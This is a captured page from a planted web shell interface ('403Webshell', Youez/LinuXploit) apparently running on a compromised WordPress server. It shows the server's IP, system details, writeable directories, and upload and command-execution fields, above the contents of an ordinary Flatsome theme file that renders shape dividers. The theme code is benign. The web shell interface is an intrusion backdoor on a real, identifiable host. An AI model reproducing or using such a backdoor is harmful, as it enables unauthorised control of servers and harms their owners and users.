403Webshell
Server IP : 62.72.47.131  /  Your IP : 216.73.217.34
Web Server : Apache/2.4.66 (Debian)
System : Linux 975cdb959a49 5.14.0-611.55.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue May 19 15:19:29 EDT 2026 x86_64
User :  ( 501)
PHP Version : 8.3.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/html/wp-content/themes/flatsome/inc/shortcodes/commons/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/wp-content/themes/flatsome/inc/shortcodes/commons/shape-divider.php
<?php // phpcs:disable VariableAnalysis.CodeAnalysis.VariableAnalysis.UndefinedVariable

$shape_dividers = require get_template_directory() . '/inc/builder/shortcodes/values/dividers.php';

if ( ! empty( $atts['divider_top'] ) && array_key_exists( $atts['divider_top'], $shape_dividers ) ) :
	$classes_divider_top = array(
		'ux-shape-divider',
		'ux-shape-divider--top',
		'ux-shape-divider--style-' . $atts['divider_top'],
	);

	if ( $atts['divider_top_flip'] === 'true' ) $classes_divider_top[]     = 'ux-shape-divider--flip';
	if ( $atts['divider_top_to_front'] === 'true' ) $classes_divider_top[] = 'ux-shape-divider--to-front';
	?>
	<div class="<?php echo esc_attr( implode( ' ', $classes_divider_top ) ); ?>">
		<?php echo file_get_contents( get_template_directory() . '/assets/img/dividers/' . $atts['divider_top'] . '.svg' ); // phpcs:ignore WordPress.WP.AlternativeFunctions, WordPress.Security.EscapeOutput ?>
	</div>
<?php endif; ?>

<?php
if ( ! empty( $atts['divider'] ) && array_key_exists( $atts['divider'], $shape_dividers ) ) :
	$classes_divider = array(
		'ux-shape-divider',
		'ux-shape-divider--bottom',
		'ux-shape-divider--style-' . $atts['divider'],
	);

	if ( $atts['divider_flip'] === 'true' ) $classes_divider[]     = 'ux-shape-divider--flip';
	if ( $atts['divider_to_front'] === 'true' ) $classes_divider[] = 'ux-shape-divider--to-front';
	?>
	<div class="<?php echo esc_attr( implode( ' ', $classes_divider ) ); ?>">
		<?php echo file_get_contents( get_template_directory() . '/assets/img/dividers/' . $atts['divider'] . '.svg' ); // phpcs:ignore WordPress.WP.AlternativeFunctions, WordPress.Security.EscapeOutput ?>
	</div>
<?php endif; // phpcs:enable VariableAnalysis.CodeAnalysis.VariableAnalysis.UndefinedVariable ?>

Youez - 2016 - github.com/yon3zu
LinuXploit